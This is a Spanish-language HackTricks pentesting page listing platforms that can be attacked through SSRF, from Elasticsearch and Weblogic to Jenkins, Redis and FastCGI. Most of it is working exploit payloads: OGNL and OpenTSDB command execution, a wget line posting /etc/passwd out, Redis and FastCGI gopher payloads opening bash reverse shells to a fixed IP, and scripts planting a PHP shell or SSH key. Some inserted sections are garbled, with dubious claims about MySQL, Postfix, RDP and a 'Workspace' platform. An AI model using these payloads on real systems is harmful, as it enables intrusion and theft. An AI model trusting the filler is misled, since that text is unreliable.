hacktricks/pentesting-web/ssrf-server-side-request-forgery/ssrf-vulnerable-platforms.md

34 KiB

Plataformas Vulnerables a SSRF

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Esta sección fue copiada de https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/

Elasticsearch

Puerto comúnmente utilizado: 9200

Cuando Elasticsearch se implementa internamente, generalmente no requiere autenticación.

Si tienes un SSRF parcialmente ciego donde puedes determinar el código de estado, verifica si los siguientes endpoints devuelven un 200:

/_cluster/health
/_cat/indices
/_cat/health

Si tienes un SSRF ciego donde puedes enviar solicitudes POST, puedes apagar la instancia de Elasticsearch enviando una solicitud POST a la siguiente ruta:

Nota: la API _shutdown ha sido eliminada a partir de la versión 2.x de Elasticsearch. Esto solo funciona en Elasticsearch 1.6 y versiones anteriores:

/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown

Weblogic

Puertos comúnmente enlazados: 80, 443 (SSL), 7001, 8888

Canario SSRF: UDDI Explorer (CVE-2014-4210)

POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded

operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

Esto también funciona a través de GET:

http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search

Este endpoint también es vulnerable a la inyección de CRLF:

GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close

Resultará en la siguiente solicitud:

root@mail:~# nc -lvp 4000
Listening on [0.0.0.0] (family 0, port 4000)
Connection from example.com 43111 received!
POST /exp HTTP/1.11
X-CLRF: Injected HTTP/1.1
Content-Type: text/xml; charset=UTF-8
soapAction: ""
Content-Length: 418
User-Agent: Java1.6.0_24
Host: attacker.com:4000
Accept: text/html, image/gif, image/jpeg, */*; q=.2
Connection: Keep-Alive

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><env:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><env:Header/><env:Body><find_business generic="2.0" xmlns="urn:uddi-org:api_v2"><name>sdf</name></find_business></env:Body></env:Envelope>

SSRF Canary: CVE-2020-14883

Tomado de aquí.

Linux:

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")

Plataformas vulnerables a SSRF (Server-Side Request Forgery)

Windows:

IIS (Internet Information Services)

IIS es un servidor web desarrollado por Microsoft para sistemas operativos Windows. Es ampliamente utilizado y puede ser vulnerable a ataques de SSRF si no se configura correctamente.

.NET Framework

El .NET Framework es un entorno de desarrollo de software desarrollado por Microsoft. Las aplicaciones web basadas en .NET también pueden ser vulnerables a ataques de SSRF si no se implementan medidas de seguridad adecuadas.

SharePoint

SharePoint es una plataforma de colaboración desarrollada por Microsoft. Las versiones antiguas de SharePoint pueden ser vulnerables a ataques de SSRF si no se aplican las actualizaciones de seguridad necesarias.

Exchange Server

Exchange Server es un servidor de correo electrónico desarrollado por Microsoft. Las versiones antiguas de Exchange Server pueden ser vulnerables a ataques de SSRF si no se aplican las actualizaciones de seguridad adecuadas.

Remote Desktop Protocol (RDP)

El Protocolo de Escritorio Remoto (RDP) es un protocolo desarrollado por Microsoft que permite a los usuarios controlar de forma remota un equipo Windows. Si se explota una vulnerabilidad en el RDP, un atacante puede realizar ataques de SSRF en el sistema objetivo.

Windows Management Instrumentation (WMI)

WMI es una infraestructura de administración de Windows desarrollada por Microsoft. Si se explota una vulnerabilidad en WMI, un atacante puede utilizarla para realizar ataques de SSRF en sistemas Windows.

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")

Hashicorp Consul

Puertos comúnmente utilizados: 8500, 8501 (SSL)

Puedes encontrar más información aquí.

Shellshock

Puertos comúnmente utilizados: 80, 443 (SSL), 8080

Para probar eficazmente Shellshock, es posible que necesites agregar un encabezado que contenga la carga útil. Vale la pena probar las siguientes rutas CGI:

Lista corta de rutas CGI para probar:

Gist que contiene las rutas.

SSRF Canary: Shellshock a través del User Agent

User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ;  curl SSRF_CANARY

Apache Druid

Puertos comúnmente utilizados: 80, 8080, 8888, 8082

Consulte la referencia de la API de Apache Druid aquí.

Si puede ver el código de estado, verifique las siguientes rutas para ver si devuelven un código de estado 200:

/status/selfDiscovered/status
/druid/coordinator/v1/leader
/druid/coordinator/v1/metadata/datasources
/druid/indexer/v1/taskStatus

Tareas de apagado, requiere adivinar IDs de tareas o el nombre del origen de datos:

/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks

Apagar supervisores en Apache Druid Overlords:

/druid/indexer/v1/supervisor/terminateAll
/druid/indexer/v1/supervisor/{supervisorId}/shutdown

Apache Solr

Puerto comúnmente utilizado: 8983

SSRF Canary: Parámetro Shards

Para agregar a lo que shubham está diciendo, escanear solr es relativamente fácil. Hay un parámetro shards= que te permite rebotar SSRF a SSRF para verificar si estás alcanzando una instancia de solr a ciegas.

— Хавиж Наффи 🥕 (@nnwakelam) 13 de enero de 2021

Tomado de aquí.

/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr
/xxx?q=aaa&shards=http://SSRF_CANARY/solr

SSRF Canary: Solr XXE (2017)

Apache Solr 7.0.1 XXE (Packetstorm)

/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://SSRF_CANARY/xxx"'><a></a>'
/xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://SSRF_CANARY/solr'><a></a>"}

RCE a través de dataImportHandler

Investigación sobre RCE a través de dataImportHandler

PeopleSoft

Puertos comúnmente utilizados: 80,443 (SSL)

Tomado de esta investigación aquí.

SSRF Canary: XXE #1

POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://SSRF_CANARY">
]>
<IBRequest>
<ExternalOperationName>&x;</ExternalOperationName>
<OperationType/>
<From><RequestingNode/>
<Password/>
<OrigUser/>
<OrigNode/>
<OrigProcess/>
<OrigTimeStamp/>
</From>
<To>
<FinalDestination/>
<DestinationNode/>
<SubChannel/>
</To>
<ContentSections>
<ContentSection>
<NonRepudiation/>
<MessageVersion/>
<Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
</Data>
</ContentSection>
</ContentSections>
</IBRequest>

Plataformas vulnerables a SSRF (Server-Side Request Forgery)

A continuación se presenta una lista de plataformas que son conocidas por ser vulnerables a SSRF. Estas plataformas pueden ser utilizadas para practicar técnicas de pentesting y mejorar la comprensión de cómo funciona SSRF.

Plataformas de nube/SaaS

  • Workspace: Una plataforma de colaboración en línea que permite a los usuarios compartir y editar documentos en tiempo real. Es conocida por ser vulnerable a SSRF en su función de carga de archivos.

  • AWS (Amazon Web Services): Un conjunto de servicios en la nube que ofrecen almacenamiento, cómputo y otras funcionalidades. AWS ha tenido varios casos de vulnerabilidades de SSRF en servicios como EC2, S3 y RDS.

  • GCP (Google Cloud Platform): Una plataforma de servicios en la nube proporcionada por Google. GCP ha tenido casos de vulnerabilidades de SSRF en servicios como Compute Engine y Cloud Functions.

  • Azure: La plataforma de servicios en la nube de Microsoft. Azure ha tenido casos de vulnerabilidades de SSRF en servicios como Virtual Machines y Blob Storage.

Plataformas de correo electrónico

  • Exchange: Un servidor de correo electrónico desarrollado por Microsoft. Exchange ha tenido casos de vulnerabilidades de SSRF en su función de redirección de URL.

  • Postfix: Un servidor de correo electrónico de código abierto. Postfix ha tenido casos de vulnerabilidades de SSRF en su función de redirección de URL.

Plataformas de bases de datos

  • MySQL: Un sistema de gestión de bases de datos relacional de código abierto. MySQL ha tenido casos de vulnerabilidades de SSRF en su función de importación de datos.

  • PostgreSQL: Un sistema de gestión de bases de datos relacional de código abierto. PostgreSQL ha tenido casos de vulnerabilidades de SSRF en su función de importación de datos.

  • MongoDB: Una base de datos NoSQL de código abierto. MongoDB ha tenido casos de vulnerabilidades de SSRF en su función de importación de datos.

Plataformas de almacenamiento en la nube

  • S3 (Amazon Simple Storage Service): Un servicio de almacenamiento en la nube proporcionado por AWS. S3 ha tenido casos de vulnerabilidades de SSRF en su función de carga de archivos.

  • Google Cloud Storage: Un servicio de almacenamiento en la nube proporcionado por GCP. Google Cloud Storage ha tenido casos de vulnerabilidades de SSRF en su función de carga de archivos.

  • Azure Blob Storage: Un servicio de almacenamiento en la nube proporcionado por Azure. Azure Blob Storage ha tenido casos de vulnerabilidades de SSRF en su función de carga de archivos.

Estas plataformas son solo algunos ejemplos de sistemas que han sido vulnerables a SSRF en el pasado. Es importante tener en cuenta que las vulnerabilidades pueden ser corregidas y las plataformas pueden actualizarse para mitigar los riesgos de SSRF.

POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<!DOCTYPE a PUBLIC "-//B/A/EN" "http://SSRF_CANARY">

Apache Struts

Puertos comúnmente utilizados: 80, 443 (SSL), 8080, 8443 (SSL)

Tomado de aquí.

SSRF Canary: Struts2-016:

Agrega esto al final de cada punto final/URL interno que conozcas:

?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}

JBoss

Puertos comúnmente utilizados: 80, 443 (SSL), 8080, 8443 (SSL)

Tomado de aquí.

Canario SSRF: Desplegar WAR desde URL

/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war

Confluence

Puertos comúnmente utilizados: 80, 443 (SSL), 8080, 8443 (SSL)

SSRF Canary: Sharelinks (versiones de Confluence lanzadas desde noviembre de 2016 y anteriores)

/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/

SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)

Ticket de seguridad de Atlassian OAUTH-344

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

Jira

Puertos comúnmente utilizados: 80, 443 (SSL), 8080, 8443 (SSL)

SSRF Canary: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)

Ticket de seguridad de Atlassian OAUTH-344

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)

Ticket de seguridad de Atlassian JRASERVER-69793

/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com

Otros productos de Atlassian

Puertos comúnmente utilizados: 80, 443 (SSL), 8080, 8443 (SSL)

SSRF Canary: iconUriServlet (CVE-2017-9506):

  • Bamboo < 6.0.0
  • Bitbucket < 4.14.4
  • Crowd < 2.11.2
  • Crucible < 4.3.2
  • Fisheye < 4.3.2

Ticket de seguridad de Atlassian OAUTH-344

/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY

OpenTSDB

Puerto comúnmente utilizado: 4242

OpenTSDB Ejecución Remota de Código

SSRF Canary: curl a través de RCE

/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png

OpenTSDB 2.4.0 Ejecución Remota de Código

SSRF Canary: curl a través de RCE - CVE-2020-35476

/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json

Jenkins

Puertos comúnmente utilizados: 80, 443 (SSL), 8080, 8888

Excelente artículo aquí.

SSRF Canary: CVE-2018-1000600

/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai

RCE

Sigue las instrucciones aquí para lograr RCE a través de GET: Hacking Jenkins Parte 2 - Abusando de la Meta Programación para RCE sin autenticación

/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;

RCE a través de Groovy

En algunos casos, es posible lograr la ejecución remota de código (RCE) utilizando el lenguaje de programación Groovy. Groovy es un lenguaje de programación dinámico que se ejecuta en la máquina virtual de Java (JVM) y se utiliza comúnmente en aplicaciones basadas en Java.

La vulnerabilidad de RCE a través de Groovy generalmente ocurre cuando una aplicación permite a los usuarios cargar y ejecutar scripts Groovy de forma dinámica. Esto puede suceder cuando una aplicación utiliza la biblioteca GroovyShell para evaluar y ejecutar scripts Groovy.

Un atacante puede aprovechar esta vulnerabilidad para cargar y ejecutar un script Groovy malicioso que contenga código malicioso. Esto puede permitir al atacante ejecutar comandos arbitrarios en el servidor y obtener acceso no autorizado al sistema.

Para evitar esta vulnerabilidad, es importante validar y filtrar cualquier entrada de usuario que se utilice para cargar y ejecutar scripts Groovy. Además, se recomienda deshabilitar la ejecución de scripts Groovy en entornos de producción, a menos que sea absolutamente necesario.

Es importante tener en cuenta que esta vulnerabilidad específica solo se aplica a aplicaciones que utilizan Groovy como lenguaje de scripting y permiten la carga y ejecución dinámica de scripts Groovy. No todas las aplicaciones son vulnerables a este tipo de ataque.

cmd = 'curl burp_collab'
pay = 'public class x {public x(){"%s".execute()}}' % cmd
data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)

Panel de control de Hystrix

Puertos comúnmente utilizados: 80, 443 (SSL), 8080

Spring Cloud Netflix, versiones 2.2.x anteriores a 2.2.4, versiones 2.1.x anteriores a 2.1.6.

SSRF Canary: CVE-2020-5412

/proxy.stream?origin=http://SSRF_CANARY/

W3 Total Cache

Puertos comúnmente utilizados: 80,443 (SSL)

W3 Total Cache 0.9.2.6-0.9.3

SSRF Canary: CVE-2019-6715

Esto debe ser una solicitud PUT:

PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
Host: {{Hostname}}
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36
Content-Length: 124
Content-Type: application/x-www-form-urlencoded
Connection: close

{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}

SSRF Canary

El aviso para esta vulnerabilidad fue publicado aquí: Vulnerabilidad SSRF en W3 Total Cache

Este código PHP generará un payload para tu host de SSRF Canary (reemplaza url con tu host de canary):

<?php

$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);

?>

Docker

Puertos comúnmente utilizados: 2375, 2376 (SSL)

Si tienes un SSRF parcialmente ciego, puedes utilizar las siguientes rutas para verificar la presencia de la API de Docker:

/containers/json
/secrets
/services

RCE a través de la ejecución de una imagen de Docker arbitraria

En algunos casos, los servidores vulnerables permiten a los usuarios ejecutar imágenes de Docker arbitrarias. Esto puede conducir a una ejecución remota de código (RCE) si se explota correctamente.

Para aprovechar esta vulnerabilidad, primero necesitamos encontrar una forma de ejecutar comandos en el servidor. Una opción común es utilizar una función de ejecución de comandos del lenguaje de programación subyacente, como exec() en PHP.

Una vez que tenemos la capacidad de ejecutar comandos en el servidor, podemos utilizar una imagen de Docker maliciosa para lograr la RCE. Esto se logra montando el directorio raíz del sistema de archivos del servidor como un volumen en el contenedor de Docker. Luego, podemos ejecutar comandos en el contenedor que interactúen con el sistema de archivos del servidor.

Aquí hay un ejemplo de cómo se puede lograr esto utilizando una imagen de Docker maliciosa:

docker run -v /:/host -it malicious-image /bin/sh

En este ejemplo, montamos el directorio raíz del sistema de archivos del servidor como /host en el contenedor de Docker. Luego, ejecutamos un shell interactivo en el contenedor para interactuar con el sistema de archivos del servidor.

Una vez que tenemos acceso al sistema de archivos del servidor, podemos explorar y modificar archivos, ejecutar comandos y potencialmente obtener control total sobre el servidor.

Es importante tener en cuenta que esta técnica solo funcionará en servidores que permitan a los usuarios ejecutar imágenes de Docker arbitrarias. No todos los servidores serán vulnerables a esto, pero es una vulnerabilidad común que se encuentra en algunas plataformas.

POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...

{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}

Reemplace "alpine" con una imagen arbitraria que desee que el contenedor de Docker ejecute.

Gitlab Prometheus Redis Exporter

Puertos comúnmente vinculados: 9121

Esta vulnerabilidad afecta a las instancias de Gitlab anteriores a la versión 13.1.1. Según la documentación de Gitlab, "Prometheus y sus exportadores están activados de forma predeterminada a partir de GitLab 9.0".

Estos exportadores proporcionan un excelente método para que un atacante pivotee y ataque otros servicios utilizando CVE-2020-13379. Uno de los exportadores que se puede explotar fácilmente es el Exportador de Redis.

El siguiente punto final permitirá a un atacante volcar todas las claves en el servidor de Redis proporcionado a través del parámetro objetivo:

http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*

Posible a través de Gopher

Redis

Puerto comúnmente utilizado: 6379

Lectura recomendada:

RCE a través de Cron - Superficies de ataque Gopher

redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

Gopher:

Gopher es un protocolo de red que permite a los clientes obtener y mostrar documentos de servidores remotos. Es similar a HTTP, pero más simple y menos utilizado en la actualidad. Sin embargo, algunos servidores aún pueden tener soporte para Gopher y podrían ser vulnerables a ataques de SSRF si no se configuran correctamente.

Para explotar una vulnerabilidad de SSRF en un servidor Gopher, el atacante puede enviar una solicitud maliciosa que incluya una URL de destino dentro de la solicitud Gopher. Si el servidor no valida adecuadamente la URL de destino y la procesa sin restricciones, el atacante puede aprovechar esto para realizar solicitudes a otros servidores y obtener información confidencial o realizar acciones no autorizadas.

Es importante tener en cuenta que no todos los servidores Gopher son vulnerables a SSRF. La vulnerabilidad depende de cómo se implemente y configure el servidor. Sin embargo, es una buena práctica asegurarse de que los servidores Gopher estén correctamente configurados y validen adecuadamente las URL de destino para evitar posibles ataques de SSRF.

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

RCE a través de la carga de shell (PHP) - Resumen de la obtención de shell en Redis

#!/usr/bin/env python
# -*-coding:utf-8-*-

import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var"
passwd=""

cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

RCE a través de authorized_keys - Resumen de la obtención de shell en Redis

import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
# shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
"set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

RCE en GitLab a través del protocolo Git

Excelente artículo de Liveoverflow aquí.

Aunque se requiere acceso autenticado a GitLab para explotarlo, incluiré aquí el payload ya que el protocolo git puede funcionar en el objetivo que estás hackeando. Este payload es solo de referencia.

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Memcache

Puerto comúnmente utilizado: 11211

gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a
gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a

Apache Tomcat

Puertos comúnmente utilizados: 80, 443 (SSL), 8080, 8443 (SSL)

Efectivo solo contra Tomcat 6:

gopher-tomcat-deployer

CTF writeup utilizando esta técnica:

De XXE a RCE: Pwn2Win CTF 2018 Writeup

FastCGI

Puertos comúnmente utilizados: 80, 443 (SSL)

Esto fue tomado de aquí.

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

Java RMI

Puertos comúnmente enlazados: 1090,1098,1099,1199,4443-4446,8999-9010,9999

Las vulnerabilidades ciegas de SSRF que permiten bytes arbitrarios (basados en gopher) se pueden utilizar para realizar ataques de deserialización o de código en los componentes predeterminados de Java RMI (RMI Registry, Distributed Garbage Collector, Activation System). Se puede encontrar un análisis detallado aquí. El siguiente listado muestra un ejemplo de generación de carga útil:

$ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI Registry endpoint...
[+]
[+] 	SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...]
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥